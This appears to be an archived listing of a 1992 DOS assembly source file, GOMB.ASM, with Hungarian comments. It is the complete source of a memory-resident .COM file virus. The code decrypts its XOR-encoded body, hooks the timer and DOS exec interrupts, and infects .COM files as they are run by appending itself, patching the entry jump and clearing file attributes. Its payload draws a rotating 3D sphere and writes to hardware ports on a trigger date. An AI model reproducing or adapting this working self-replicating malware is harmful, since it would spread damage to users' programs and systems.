home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / GOMB.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  32KB  |  901 lines

  1. CODE     segment para  public 'code'
  2.          assume  cs:code,ds:code,es:nothing,ss:nothing
  3.  
  4.                         org     100h
  5.  
  6. egy                     equ     1               ; one
  7. dma                     equ     0b0h
  8. atvar                   equ     300             ; at paramaeter
  9. xtvar                   equ     1               ; xt parameter
  10. suruseg                 equ     255             ; density
  11. idotartalek             equ     18*30           ; time delay
  12.  
  13. start:          db      0e9h,0,0
  14. ;##################### Initialization ######################
  15. resid:          push    ax
  16.                 mov     cx,offset memory - offset begin   ;#### decoding ####
  17.                 mov     bx,ds:[101h]
  18.                 add     bx,103h+(offset begin-offset resid)
  19. jhg1:           xor     byte ptr [bx],0
  20.                 inc     bx
  21.                 loop    jhg1
  22.  
  23. begin:          sub     bx,(offset begin-offset resid)+(offset memory - offset begin)
  24.                 mov     cs:[0feh],bx
  25.                 mov     ax,[bx+(offset eltarol-offset resid)]
  26.                 mov     cl,[bx+(offset eltarol-offset resid)+2]
  27.                 mov     ds:[100h],ax
  28.                 mov     ds:[102h],cl
  29.                 mov     cx,0b800h
  30.                 mov     ah,15
  31.                 push    bx
  32.                 int     10h
  33.                 pop     bx
  34.                 cmp     al,7
  35.                 jne     rety
  36.                 mov     ch,0b0h
  37. rety:           mov     [bx+(offset ruut - offset resid)+1],cx
  38.                 mov     word ptr [bx+(offset counter-offset resid)],idotartalek
  39.                 mov     byte ptr [bx+(offset jammed-offset resid)+1],al
  40.                 mov     byte ptr [bx+(offset vanesik-offset resid)],0
  41.                 xor     ax,ax
  42.                 mov     ds,ax
  43.                 cmp     word ptr ds:[130h],4142h
  44.                 je      zipp
  45.                 mov     ds:[130h],4142h
  46.                 mov     ax,cs
  47.                 dec     ax
  48.                 mov     ds,ax
  49.                 mov     ax,ds:[3]
  50.                 sub     ax,180h
  51.                 mov     ds:[3],ax
  52.                 add     ax,ds:[1]
  53.                 mov     es,ax
  54.                 push    cs
  55.                 pop     ds
  56.                 sub     word ptr ds:[2],384
  57.                 mov     di,3
  58.                 mov     si,bx
  59.                 mov     cx,(offset memory-offset resid) shr 1 +1
  60.                 cld
  61.                 rep     movsw
  62.                 mov     ax,es
  63.                 sub     ax,10h
  64.                 mov     ds,ax
  65.                 mov     dx,offset irq
  66.                 mov     ax,251ch
  67.                 int     21h
  68.                 mov     ah,2ah
  69.                 int     21h
  70.                 cmp     al,1
  71.                 jne     zipp
  72.                 dec     al
  73.                 out     0a0h,al
  74.                 mov     al,dma
  75.                 out     41h,al
  76. zipp:
  77.                 mov     ax,cs
  78.                 mov     ds,ax
  79.                 mov     es,ax
  80.                 pop     ax
  81.                 push     cs
  82.                 mov     cx,100h
  83.                 push     cx
  84.                 mov     cx,ds:[0feh]
  85.                 sub     cx,100h
  86.                 retf
  87. eltarol         dw      20cdh
  88. eltarol2        db      90h
  89.  
  90. ;######################### Vyrus activated ##########################
  91. csik:           mov ax,0e000h
  92.                 mov ds,ax
  93. csiky:          mov ds:[0],al
  94.                 inc al
  95.                 jmp csiky
  96.  
  97. ;######################### propagation part ##########################
  98.  
  99. eredeti:        db 0eah                 ; original
  100. int211          dw 0
  101. int212          dw 0
  102. counter         dw 0
  103. szaporodas:     cmp ah,4bh      
  104.                 jne eredeti
  105.                 or al,al
  106.                 jnz eredeti
  107.                 push ax
  108.                 push es
  109.                 push bx
  110.                 push ds
  111.                 push dx
  112.                 mov bx,dx
  113. koj:            inc bx
  114.                 cmp byte ptr [bx],'.'
  115.                 jne koj
  116.                 cmp byte ptr[bx+1],'C'
  117.                 jne kiugras1
  118.                 mov cs:kds,ds
  119.                 mov cs:kdx,dx
  120.                 mov cs:kbx,bx
  121.                 call probe
  122. kiugras1:        pop dx
  123.                 pop ds
  124.                 pop bx
  125.                 pop es
  126.                 pop ax
  127.                 jmp eredeti
  128. kds             dw 0
  129. kdx             dw 0
  130. kbx             dw 0
  131. kkk             dw 0
  132. fszam           dw 0
  133. probe:          push cs
  134.                 pop es
  135.                 mov di,offset memory
  136.                 mov si,dx
  137.                 mov cx,40
  138.                 cld
  139.                 rep movsw
  140.                 mov bx,0ff0h
  141.                 mov ah,48h
  142.                 int 21h
  143.                 jnc juk1
  144.                 ret
  145.                 ;!!!!! memoria lefoglalva   (kkk = Seg)
  146. atr             dw 0
  147. juk1:           mov cs:kkk,ax
  148.                 mov dx,offset memory
  149.                 push ds
  150.                 pop es
  151.                 mov bx,cs:kbx
  152.                 mov byte ptr [bx+1],'A'  ;£
  153.                 call elorutin
  154.                 push cs
  155.                 pop ds              ;DS:DX a masolt nev.
  156.                 mov ax,4300h
  157.                 int 21h
  158.                 mov atr,cx
  159.                 xor cx,cx
  160.                 mov ax,4301h
  161.                 int 21h
  162.                                 ;!!!!! Attr allitas
  163.                 cmp cs:attrflag,0
  164.                 jz juk2
  165.                 mov ds,cs:kds
  166.                 jmp memoff
  167. juk2:           mov di,kdx       ;ES:DI a regi nev atirva
  168.                 mov ah,56h
  169.                 int 21h
  170.                 call utorutin    ;!!!!! Atnevezve
  171.                 mov dx,cs:kdx
  172.                 push es
  173.                 pop ds
  174.                 mov ax,3d02h
  175.                 int 21h          ;!!!!! File megnyitva
  176.                 mov cs:fszam,ax
  177.                 mov ds,cs:kkk
  178.                 xor dx,dx
  179.                 mov bx,ax
  180.                 mov cx,0fc00h-(offset memory-offset resid)
  181.                 mov ah,3fh
  182.                 int 21h
  183.                 cmp ax,0fc00h-(offset memory-offset resid)
  184.                         ;!!!!! Beolvasva a program (csak a hossza miatt)
  185.                 je hosszu   ;zarjuk le a file-t
  186.                 cmp ax,7580
  187.                 jb hosszu   ;tul rovid a file
  188.                 mov di,ax
  189.  
  190.                 mov bx,ds:[1]
  191.                 cmp word ptr [bx+3],0b950h
  192.  
  193. ;$$$$$$$$$$$$$$$$$$$$$$$$$   FUCK OFF TASM,MASM   $$$$$$$$$$$$$$$$$$$$$$$$$$$
  194.  
  195.                 je hosszu
  196.                 push di
  197.                 mov cx,(offset memory-offset resid)
  198.                 mov si,offset resid
  199.                 push ds
  200.                 pop es
  201.                 push cs
  202.                 pop ds
  203.                 inc byte ptr ds:[offset jhg1 +2]
  204.                 mov ax,es:[0]
  205.                 mov eltarol,ax
  206.                 mov al,es:[2]
  207.                 mov eltarol2,al
  208.                 rep movsw       ;!!!!! Atmasolva (hehe)
  209.                 mov al,byte ptr ds:[offset jhg1 +2]
  210.                 pop di
  211.                 add di,(offset begin-offset resid)
  212.                 mov cx,offset memory - offset begin   ;#### coding ####
  213. jhga:           xor byte ptr es:[di],al
  214.                 inc di
  215.                 loop jhga
  216.                 sub di,(offset memory - offset resid)
  217.                 push di         ;Az ugrasi hely
  218.                 mov bx,fszam
  219.                 mov cx,offset memory - offset begin
  220.                 mov dx,di
  221.                 push es
  222.                 pop ds
  223.                 mov ah,40h
  224.                 int 21h
  225.                 pop di
  226.                 cmp ax,offset memory - offset begin
  227.                 je ghj1
  228. hosszu:         jmp zardle
  229. ghj1:           ;!!!!! Kiirva a vege
  230.                 mov byte ptr ds:[0],0e9h
  231.                 sub di,3
  232.                 mov ds:[1],di
  233.                 mov bx,cs:fszam
  234.                 xor cx,cx
  235.                 xor dx,dx
  236.                 mov ax,4200h
  237.                 push bx
  238.                 int 21h
  239.                 pop bx
  240.                 mov cx,3
  241.                 xor dx,dx
  242.                 mov ah,40h
  243.                 int 21h
  244. zardle:         mov bx,cs:fszam
  245.                 mov ah,3eh
  246.                 int 21h         ;!!!!! File lezarva
  247.                 push cs
  248.                 pop es
  249.                 mov di,offset memory
  250.                 mov ds,cs:kds
  251.                 mov dx,cs:kdx
  252.                 mov ah,56h
  253.                 int 21h         ;!!!!! File visszanevezve
  254.                 mov bx,cs:kbx
  255.                 mov byte ptr ds:[bx+1],'C'
  256.                 mov ax,4301h
  257.                 mov cx,cs:atr
  258.                 int 21h         ;!!!!! attr visszaall
  259. memoff:         mov bx,cs:kbx
  260.                 mov byte ptr ds:[bx+1],'C'
  261.                 push cs
  262.                 pop ds
  263.                 mov es,cs:kkk
  264.                 mov ah,49h
  265.                 int 21h         ;!!!!! Memoria visszaalt
  266.                 ret
  267. it241           dw 0
  268. it242           dw 0
  269. attrflag        db 0
  270.  
  271. elorutin:       mov cs:attrflag,0
  272.                 xor ax,ax
  273.                 mov ds,ax
  274.                 mov ax,ds:[90h]
  275.                 mov cs:it241,ax
  276.                 mov ax,ds:[92h]
  277.                 mov cs:it242,ax
  278.                 mov ds:[90h],offset it24
  279.                 mov ds:[92h],cs
  280.                 ret
  281.  
  282. utorutin:       xor ax,ax
  283.                 mov ds,ax
  284.                 mov ax,cs:it241
  285.                 mov ds:[90h],ax
  286.                 mov ax,cs:it242
  287.                 mov ds:[92h],ax
  288.                 ret
  289. it24:           mov cs:attrflag,1
  290.                 xor al,al
  291.                 iret
  292. vanesik         db 0
  293. irq:            cli
  294.                 push ds
  295.                 push es
  296.                 push ax
  297.                 push bx
  298.                 push cx
  299.                 push dx
  300.                 push si
  301.                 push di
  302.                 cmp cs:counter,0
  303.                 je sabad
  304.                 dec cs:counter
  305.                 jne sabad
  306.                 xor ax,ax
  307.                 mov ds,ax
  308.                 mov ax,ds:[84h]
  309.                 mov cs:int211,ax
  310.                 mov ax,ds:[86h]
  311.                 mov cs:int212,ax
  312.                 mov ds:[84h],offset szaporodas
  313.                 mov ds:[86h],cs
  314. sabad:          cmp cs:vanesik,0
  315.                 je keress
  316.                 call idovan
  317.                 jmp jumper
  318. keress:         call ruut
  319. jumper:         pop di
  320.                 pop si
  321.                 pop dx
  322.                 pop cx
  323.                 pop bx
  324.                 pop ax
  325.                 pop es
  326.                 pop ds
  327.                 iret
  328.  
  329. idovan:         xor ah,ah
  330.                 int 1ah
  331.                 and dx,suruseg
  332.                 jne rutyi
  333.                 call action
  334. rutyi:          ret
  335.  
  336.  
  337. ruut:           mov ax,0b800h
  338.                 mov es,ax
  339.                 mov di,cs:did
  340.                 mov cx,512
  341.                 cld
  342. poke:           jcxz huy
  343.                 mov al,'E'
  344.                 repnz scasb
  345.                 jz talalt
  346. huy:            cmp di,4095
  347.                 jb kisebb
  348.                 mov cs:did,0
  349.                 ret
  350. kisebb:         add cs:did,512
  351.                 ret
  352. did             dw 0
  353. talalt:         test di,1
  354.                 jz poke
  355.                 mov dl,es:[di+1]
  356.                 mov dh,es:[di+3]
  357.                 or dx,2020h
  358.                 cmp dx,6973h     ;'is'
  359.                 jne poke
  360.                 mov bl,es:[di+5]
  361.                 or bl,20h
  362.                 cmp bl,'k'
  363.                 jne poke
  364.                 mov cs:vanesik,1
  365.                 jmp huy
  366. action:         mov ax,cs
  367.                 mov ds,ax
  368.                 mov es,ax
  369.                 mov vanesik,0
  370.                 mov pontszam,1
  371.                 mov si,offset zizi
  372.                 mov di,offset novi
  373.                 cld
  374.                 mov cx,6
  375.                 rep movsw
  376.                 call zoldseg
  377. jammed:         mov ax,3
  378.                 int 10h
  379.                 cmp counterr,atvar
  380.                 jne fdr
  381.                 push cs
  382.                 pop es
  383.                 lea bx,mess
  384.                 mov ax,1301h
  385.                 mov bx,1
  386.                 xor dx,dx
  387.                 mov cx,offset drt-offset mess
  388.                 int 10h
  389. fdr:            ret
  390.  
  391. counterr        dw 0
  392. zoldseg:        cli
  393.                 mov di,offset memory
  394.                 xor ax,ax
  395.                 cld
  396.                 mov cx,200*3
  397.                 rep stosw
  398.                 mov ah,0c0h
  399.                 mov si,3333h
  400.                 int 15h
  401.                 cmp si,3333h
  402.                 mov ax,xtvar
  403.                 je xt
  404.                 mov ax,atvar
  405. xt:             mov counterr,ax
  406.                 mov ax,3502h
  407.                 int 21h
  408.                 cmp bx,0e9eh
  409.                 jne ibm
  410.                 call init1
  411.                 mov pontm,100
  412.                 mov port,22h
  413.                 jmp entry
  414. ibm:            ;Ibm bulik
  415.                 mov pontm,200
  416.                 mov al,70h
  417.                 mov port,60h         ;%
  418.                 mov ah,15
  419.                 int 10h
  420.                 cmp al,7
  421.                 jne cga
  422.                 call init3
  423.                 jmp entry
  424. cga:            call init2
  425.                 jmp entry
  426. port            dw 22h
  427. pontm           dw 100
  428.  
  429. init1:          mov ax,200h
  430.                 mov es,ax
  431.                 xor di,di
  432.                 mov cx,4000h
  433.                 cld
  434.                 xor ax,ax
  435.                 rep stosw
  436.                 mov plotdw,offset plot
  437.                 mov unplotdw,offset unplot
  438.                 ret
  439. init2:          mov ax,0b800h
  440.                 mov es,ax
  441.                 mov ax,6
  442.                 int 10h
  443.                 mov plotdw,offset plotcga
  444.                 mov unplotdw,offset unplotcga
  445.                 ret
  446. init3:          mov ax,0b000h
  447.                 mov es,ax
  448.                 call prog
  449.                 mov plotdw,offset plotherc
  450.                 mov unplotdw,offset unplotcga
  451.                 ret
  452. prog:           mov dx,3bfh
  453.                 mov al,3
  454.                 out dx,al
  455.                 mov al,28h
  456.                 mov dx,3b8h
  457.                 out dx,al
  458.                 mov ah,0
  459.                 mov cx,12
  460.                 lea bx,ports
  461. lopi1:          mov dx,03b4h
  462.                 mov al,ah
  463.                 out dx,al
  464.                 inc ah
  465.                 mov dx,03b5h
  466.                 mov al,[bx]
  467.                 out dx,al
  468.                 inc bx
  469.                 loop lopi1
  470.  
  471.                 mov dx,3bfh
  472.                 mov al,3
  473.                 out dx,al
  474.                 mov dx,3b8h
  475.                 mov al,0ah
  476.                 out dx,al
  477.                 xor di,di
  478.                 mov cx,4000h
  479.                 xor ax,ax
  480.                 cld
  481.                 rep stosw
  482.                 ret
  483.  
  484. ports           db 35h,2dh,2eh,7,5bh,2,57h,57h,2,3,0,0
  485.  
  486. ;**************************** Forgatorutin ************************************
  487.  
  488.                                 even
  489. sina    dw 0
  490. cosa    dw 0        ;si-t meghagyja
  491. sinb    dw 0
  492. cosb    dw 0
  493. pontszam dw 1
  494. transzform:     ;be:  di=X, bx=Y, cx=Z,   SINA,COSA,SINB,COSB
  495. ;        add bx,ytol     ;ez itt jolesz
  496.                 shl di,1
  497.                 shl bx,1    ;X es Y elokeszitese a szorzashoz
  498.                 mov ax,di
  499.                 imul cosa
  500.                 mov bp,dx
  501.                 mov ax,bx
  502.                 imul sina
  503.                 add bp,dx   ; bp=X'     = cosa*X + sina*Y
  504.                 mov ax,bx
  505.                 imul cosa
  506.                 mov bx,dx
  507.                 mov ax,di
  508.                 imul sina
  509.                 sub bx,dx   ; bx=Y'     = cosa*X - sina*Y
  510.                 shl bp,1
  511.                 shl cx,1    ;X' es Z elokeszitese
  512.                 mov ax,bp
  513.                 imul cosb
  514.                 mov di,dx
  515.                 mov ax,cx
  516.                 imul sinb
  517.                 sub di,dx   ; di=X''    = cosb*X' - sinb*Z
  518.                 mov cx,di
  519.                 mov ax,bx
  520.                 ret
  521.  
  522. comment @
  523.                 mov ax,cx
  524.                 imul cosb
  525.                 mov cx,dx
  526.                 mov ax,bp
  527.                 imul sinb
  528.                 add cx,dx   ; cx=Z''    = cosb*Z = sinb*X'
  529.  
  530.                         ; out: di=X'' bx=Y'' cx=Z''
  531.                 mov dx,keptav
  532. ;****************************** PERSPEKTIVA **********************************
  533.          mov ax,di
  534.          shl ax,1
  535.          imul tavol
  536.          mov cx,dx
  537.          mov ax,bx
  538.          shl ax,1
  539.          imul tavol
  540.          mov ax,dx
  541.          ret     ; ki : CX=X'  AX=Y'
  542.  
  543. @
  544.  
  545. plotherc:   ; al=y     cx=x
  546.                 xor ah,ah
  547.                 mov dx,ax
  548.                 shr dx,1
  549.                 add ax,dx
  550.                 mov dx,cx
  551.                 mov cl,al
  552.                 and cl,3
  553.                 shr ax,1
  554.                 shr al,1
  555.                 mov di,2000h
  556.                 shl di,cl
  557.                 mov cl,90
  558.                 mul cl
  559.                 add di,ax
  560.                 mov ax,dx
  561.                 mov cx,dx
  562.                 jmp ezisi
  563. plotcga:        xor di,di
  564.                 shr ax,1
  565.                 jnc tryp
  566.                 mov di,2000h
  567. tryp:           mov dl,80
  568.                 mul dl
  569.                 add di,ax
  570.                 mov ax,cx
  571. ezisi:          shr ax,1
  572.                 shr ax,1
  573.                 shr ax,1
  574.                 add di,ax
  575.                 and cl,7
  576.                 mov al,128
  577.                 shr al,cl
  578.                 or es:[di],al
  579.                 jmp ezis1
  580.  
  581. unplotcga:      mov al,[bx]
  582.                 mov di,[bx+1]
  583.                 xor al,255
  584.                 and es:[di],al
  585.                 ret
  586.  
  587. plot:                   ;AL = y koord.  cx = x koord.
  588.                 mov dl,160
  589.                 mul dl
  590.                 mov di,ax
  591.                 mov ax,cx
  592.                 shr ax,1
  593.                 shr ax,1
  594.                 add di,ax
  595.                 and di,-2
  596.                 and cl,7
  597.                 mov al,128
  598.                 shr al,cl
  599.                 or es:[di+egy],al
  600. ezis1:          mov [bx],al
  601.                 inc bx
  602.                 mov [bx],di
  603.                 add bx,2
  604.                 ret
  605. unplot:         mov al,[bx]
  606.                 mov di,[bx+1]
  607.                 xor al,255
  608.                 and es:[di+egy],al
  609.                 ret
  610. kezdfazisrajz:  mov bx,offset memory
  611.                 mov si,offset gombdata
  612.                 mov cx,pontszam
  613. ck1:            push cx
  614.                 lodsw
  615.                 mov cx,ax
  616.                 shl cx,1
  617.                 add cx,320
  618.                 lodsw
  619.                 add si,2
  620.                 add ax,50
  621.                 call word ptr [plotdw]
  622.                 pop cx
  623.                 loop ck1
  624.                 ret
  625. indy            db 0
  626.  
  627. fazisrajz:      mov bx,offset memory
  628.                 mov si,offset gombdata
  629.                 mov cx,pontszam
  630.                 mov indy,1
  631. ck12:           push cx
  632.                 call word ptr [unplotdw]
  633.                 push bx
  634.                 lodsw
  635.                 mov di,ax
  636.                 lodsw
  637.                 mov bx,ax
  638.                 lodsw
  639.                 mov cx,ax
  640.                 call transzform
  641.                 pop bx
  642.                 add ax,50
  643.                 mov di,bxpo
  644.                 add al,[di]
  645.                 shl cx,1
  646.                 add cx,bxpo2
  647.                 cmp indy,0
  648.                 je ruty
  649.                 mov indy,0
  650.                 cmp karal2,0
  651.                 jne ruty
  652.                 push cx
  653.                 push ax
  654.                 inc cx
  655.                 call word ptr [plotdw]
  656.                 pop ax
  657.                 pop cx
  658.                 sub bx,3
  659. ruty:           call word ptr [plotdw]
  660.                 pop cx
  661.                 loop ck12
  662.                 ret
  663.  
  664. novpont:        mov ax,pontm
  665.                 cmp pontszam,ax
  666.                 je trew
  667.                 mov cx,pontm
  668.                 sub cx,pontszam
  669.                 mov ch,cl
  670.                 shR cx,1
  671.                 shr cx,1
  672. yut:            loop yut
  673.                 inc pontszam
  674.                 ret
  675. trew:           call movie
  676.                 mov bx,bxpo
  677.                 cmp bx,offset patt
  678.                 je valto
  679.                 cmp bx,offset patt+29
  680.                 je valto
  681. iuy:            add bx,novi
  682.                 mov bxpo,bx
  683.                 ret
  684. valto:          neg novi
  685.                 jmp iuy
  686. novi            dw -1
  687. bxpo            dw offset patt
  688. bxpo2           dw 320
  689. novi2           dw 4
  690. karal           dw 300
  691. karal2          dw 600
  692. zizi            dw -1,offset patt,320,4,300,600
  693. movie:          cmp karal,0
  694.                 je jesty
  695.                 dec karal
  696.                 ret
  697. jesty:          cmp karal2,0
  698.                 je jesty2
  699.                 dec karal2
  700. jesty2:         mov bx,bxpo2
  701.                 cmp bx,100
  702.                 je valto2
  703.                 cmp bx,540
  704.                 je valto2
  705. iuy2:           add bx,novi2
  706.                 mov bxpo2,bx
  707.                 ret
  708. valto2:         neg novi2
  709.                 jmp iuy2
  710. elokesz:        call novpont
  711.                 mov bl,szogx
  712.                 xor bh,bh
  713.                 shl bx,1
  714.                 mov ax,sintabl[bx]
  715.                 mov sina,ax
  716.                 mov ax,costabl[bx]
  717.                 mov cosa,ax
  718.                 mov bl,szogy
  719.                 xor bh,bh
  720.                 shl bx,1
  721.                 mov ax,sintabl[bx]
  722.                 mov sinb,ax
  723.                 mov ax,costabl[bx]
  724.                 mov cosb,ax
  725.                 mov al,szogxvalt
  726.                 add szogx,al
  727.                 mov al,szogyvalt
  728.                 add szogy,al
  729.                 ret
  730.         even
  731. szogx           db 0
  732. szogy           db 0
  733. szogxvalt       db 2
  734. szogyvalt       db 5
  735. tavol           dw 32767
  736.  
  737. phase:          call elokesz
  738.                 call fazisrajz
  739.                 ret
  740. entry:          call kezdfazisrajz
  741. rajta1:         call phase
  742.                 cmp pontm,100
  743.                 je apc
  744.                 cmp byte ptr ds:[offset ruut +2],0b8h
  745.                 je ccggaa
  746.                 mov cx,counterr
  747.                 mov dx,3bah
  748. qaz1:           in al,dx
  749.                 and al,1
  750.                 jnz qaz1
  751. qaz2:           in al,dx
  752.                 and al,1
  753.                 jz qaz2
  754.                 loop qaz1
  755.                 jmp apc
  756. ccggaa:         mov dx,3dah
  757. qaz3:           in al,dx
  758.                 and al,8
  759.                 jnz qaz3
  760. qaz4:           in al,dx
  761.                 and al,8
  762.                 jz qaz4
  763. apc:            mov dx,port
  764.                 in al,dx
  765.                 and al,1
  766.                 jz rajta1
  767.                 ret
  768.         even
  769. plotdw          dw 0
  770. unplotdw        dw 0
  771.  
  772. sintabl         dw      0,      804,   1608,  2410,  3212,  4011,  4808,  5602,  6393
  773.                 dw      7179,   7962,  8739,  9512, 10278, 11039, 11793, 12539, 13279
  774.                 dw      14010, 14732, 15446, 16151, 16846, 17530, 18204, 18868, 19519
  775.                 dw      20159, 20787, 21403, 22005, 22594, 23170, 23731, 24279, 24811
  776.                 dw      25329, 25832, 26319, 26790, 27245, 27683, 28105, 28510, 28898
  777.                 dw      29268, 29621, 29956, 30273, 30571, 30852, 31113, 31356, 31580
  778.                 dw      31785, 31971, 32137, 32285, 32412, 32521, 32609, 32678, 32728
  779.                 dw      32757, 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285
  780.                 dw      32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571, 30273
  781.                 dw      29956, 29621, 29268, 28898, 28510, 28105, 27683, 27245, 26790
  782.                 dw      26319, 25832, 25329, 24811, 24279, 23731, 23170, 22594, 22005
  783.                 dw      21403, 20787, 20159, 19519, 18868, 18204, 17530, 16846, 16151
  784.                 dw      15446, 14732, 14010, 13279, 12539, 11793, 11039, 10278,  9512
  785.                 dw      8739,   7962,  7179,  6393,  5602,  4808,  4011,  3212,  2410
  786.                 dw      1608,    804,     0,  -804, -1608, -2410, -3212, -4011, -4808
  787.                 dw      -5602, -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793
  788.                 dw      -12539,-13279,-14010,-14732,-15446,-16151,-16846,-17530,-18204
  789.                 dw      -18868,-19519,-20159,-20787,-21403,-22005,-22594,-23170,-23731
  790.                 dw      -24279,-24811,-25329,-25832,-26319,-26790,-27245,-27683,-28105
  791.                 dw      -28510,-28898,-29268,-29621,-29956,-30273,-30571,-30852,-31113
  792.                 dw      -31356,-31580,-31785,-31971,-32137,-32285,-32412,-32521,-32609
  793.                 dw      -32678,-32728,-32757,-32767,-32757,-32728,-32678,-32609,-32521
  794.                 dw      -32412,-32285,-32137,-31971,-31785,-31580,-31356,-31113,-30852
  795.                 dw      -30571,-30273,-29956,-29621,-29268,-28898,-28510,-28105,-27683
  796.                 dw      -27245,-26790,-26319,-25832,-25329,-24811,-24279,-23731,-23170
  797.                 dw      -22594,-22005,-21403,-20787,-20159,-19519,-18868,-18204,-17530
  798.                 dw      -16846,-16151,-15446,-14732,-14010,-13279,-12539,-11793,-11039
  799.                 dw      -10278, -9512, -8739, -7962, -7179, -6393, -5602, -4808, -4011
  800.                 dw      -3212,  -2410, -1608,  -804
  801. costabl         dw      32767,  32757, 32728, 32678, 32609, 32521, 32412, 32285
  802.                 dw      32137,  31971, 31785, 31580, 31356, 31113, 30852, 30571
  803.                 dw      30273,  29956, 29621, 29268, 28898, 28510, 28105, 27683
  804.                 dw      27245,  26790, 26319, 25832, 25329, 24811, 24279, 23731
  805.                 dw      23170,  22594, 22005, 21403, 20787, 20159, 19519, 18868
  806.                 dw      18204,  17530, 16846, 16151, 15446, 14732, 14010, 13279
  807.                 dw      12539,  11793, 11039, 10278,  9512,  8739,  7962,  7179
  808.                 dw       6393,   5602,  4808,  4011,  3212,  2410,  1608,   804
  809.                 dw          0,   -804, -1608, -2410, -3212, -4011, -4808, -5602
  810.                 dw      -6393,  -7179, -7962, -8739, -9512,-10278,-11039,-11793
  811.                 dw     -12539, -13279,-14010,-14732,-15446,-16151,-16846,-17530
  812.                 dw     -18204, -18868,-19519,-20159,-20787,-21403,-22005,-22594
  813.                 dw     -23170, -23731,-24279,-24811,-25329,-25832,-26319,-26790
  814.                 dw     -27245, -27683,-28105,-28510,-28898,-29268,-29621,-29956
  815.                 dw     -30273, -30571,-30852,-31113,-31356,-31580,-31785,-31971
  816.                 dw     -32137, -32285,-32412,-32521,-32609,-32678,-32728,-32757
  817.                 dw     -32767, -32757,-32728,-32678,-32609,-32521,-32412,-32285
  818.                 dw     -32137, -31971,-31785,-31580,-31356,-31113,-30852,-30571
  819.                 dw     -30273, -29956,-29621,-29268,-28898,-28510,-28105,-27683
  820.                 dw     -27245, -26790,-26319,-25832,-25329,-24811,-24279,-23731
  821.                 dw     -23170, -22594,-22005,-21403,-20787,-20159,-19519,-18868
  822.                 dw     -18204, -17530,-16846,-16151,-15446,-14732,-14010,-13279
  823.                 dw     -12539, -11793,-11039,-10278, -9512, -8739, -7962, -7179
  824.                 dw      -6393,  -5602, -4808, -4011, -3212, -2410, -1608,  -804
  825.                 dw          0,    804,  1608,  2410,  3212,  4011,  4808,  5602
  826.                 dw       6393,   7179,  7962,  8739,  9512, 10278, 11039, 11793
  827.                 dw      12539,  13279, 14010, 14732, 15446, 16151, 16846, 17530
  828.                 dw      18204,  18868, 19519, 20159, 20787, 21403, 22005, 22594
  829.                 dw      23170,  23731, 24279, 24811, 25329, 25832, 26319, 26790
  830.                 dw      27245,  27683, 28105, 28510, 28898, 29268, 29621, 29956
  831.                 dw      30273,  30571, 30852, 31113, 31356, 31580, 31785, 31971
  832.                 dw      32137,  32285, 32412, 32521, 32609, 32678, 32728, 32757
  833. gombdata:
  834.                 DW       44,  3, 22, 29,  6, 40,  7,  9, 48,-14, 12, 46
  835.                 DW      -33, 15, 33,-44, 18, 14,-44, 21, -7,-35, 24,-25
  836.                 DW      -19, 26,-37,  0, 29,-40, 17, 31,-34, 29, 34,-21
  837.                 DW       33, 36, -5, 30, 38,  9, 20, 40, 20,  8, 42, 25
  838.                 DW       -3, 43, 23,-12, 45, 17,-16, 46,  8,-15, 47,  0
  839.                 DW      -11, 48, -5, -5, 49, -7,  0, 49, -6,  0, 49, -2
  840.                 DW        0, 49,  0, -2, 49,  0, -6, 49,  0, -7, 49, -5
  841.                 DW       -5, 48,-11,  0, 47,-15,  8, 46,-16, 17, 45,-12
  842.                 DW       23, 43, -3, 25, 42,  8, 20, 40, 20,  9, 38, 30
  843.                 DW       -5, 36, 33,-21, 34, 29,-34, 31, 17,-40, 29,  0
  844.                 DW      -37,26,-19,-25,24,-35,-7,21,-44,14,18,-44
  845.                 DW      33,15,-33,46,12,-14,48,9,7,40,6,29
  846.                 DW      22,3,44,0,0,49,-22,-3,44,-40,-6,29
  847.                 DW      -48,-9,7,-46,-12,-14,-33,-15,-33,-14,-18,-44
  848.                 DW      7,-21,-44,25,-24,-35,37,-26,-19,40,-29,0
  849.                 DW      34,-31,17,21,-34,29,5,-36,33,-9,-38,30
  850.                 DW      -20,-40,20,-25,-42,8,-23,-43,-3,-17,-45,-12
  851.                 DW      -8,-46,-16,0,-47,-15,5,-48,-11,7,-49,-5
  852.                 DW      6,-49,0,2,-49,0,0,-49,0,0,-49,-2
  853.                 DW      0,-49,-6,5,-49,-7,11,-48,-5,15,-47,0
  854.                 DW      16,-46,8,12,-45,17,3,-43,23,-8,-42,25
  855.                 DW      -20,-40,20,-30,-38,9,-33,-36,-5,-29,-34,-21
  856.                 DW      -17,-31,-34,0,-29,-40,19,-26,-37,35,-24,-25
  857.                 DW      44,-21,-7,44,-18,14,33,-15,33,14,-12,46
  858.                 DW      -7,-9,48,-29,-6,40,-44,-3,22,-49,0,0
  859.                 DW      -44,3,-22,-29,6,-40,-7,9,-48,14,12,-46
  860.                 DW      33,15,-33,44,18,-14,44,21,7,35,24,25
  861.                 DW      19,26,37,0,29,40,-17,31,34,-29,34,21
  862.                 DW      -33,36,5,-30,38,-9,-20,40,-20,-8,42,-25
  863.                 DW      3,43,-23,12,45,-17,16,46,-8,15,47,0
  864.                 DW      11,48,5,5,49,7,0,49,6,0,49,2
  865.                 DW      0,49,0,2,49,0,6,49,0,7,49,5
  866.                 DW      5,48,11,0,47,15,-8,46,16,-17,45,12
  867.                 DW      -23,43,3,-25,42,-8,-20,40,-20,-9,38,-30
  868.                 DW      5,36,-33,21,34,-29,34,31,-17,40,29,0
  869.                 DW      37,26,19,25,24,35,7,21,44,-14,18,44
  870.                 DW      -33,15,33,-46,12,14,-48,9,-7,-40,6,-29
  871.                 DW      -22,3,-44,0,0,-49,22,-3,-44,40,-6,-29
  872.                 DW      48,-9,-7,46,-12,14,33,-15,33,14,-18,44
  873.                 DW      -7,-21,44,-25,-24,35,-37,-26,19,-40,-29,0
  874.                 DW      -34,-31,-17,-21,-34,-29,-5,-36,-33,9,-38,-30
  875.                 DW      20,-40,-20,25,-42,-8,23,-43,3,17,-45,12
  876.                 DW      8,-46,16,0,-47,15,-5,-48,11,-7,-49,5
  877.                 DW      -6,-49,0,-2,-49,0,0,-49,0,0,-49,2
  878.                 DW      0,-49,6,-5,-49,7,-11,-48,5,-15,-47,0
  879.                 DW      -16,-46,-8,-12,-45,-17,-3,-43,-23,8,-42,-25
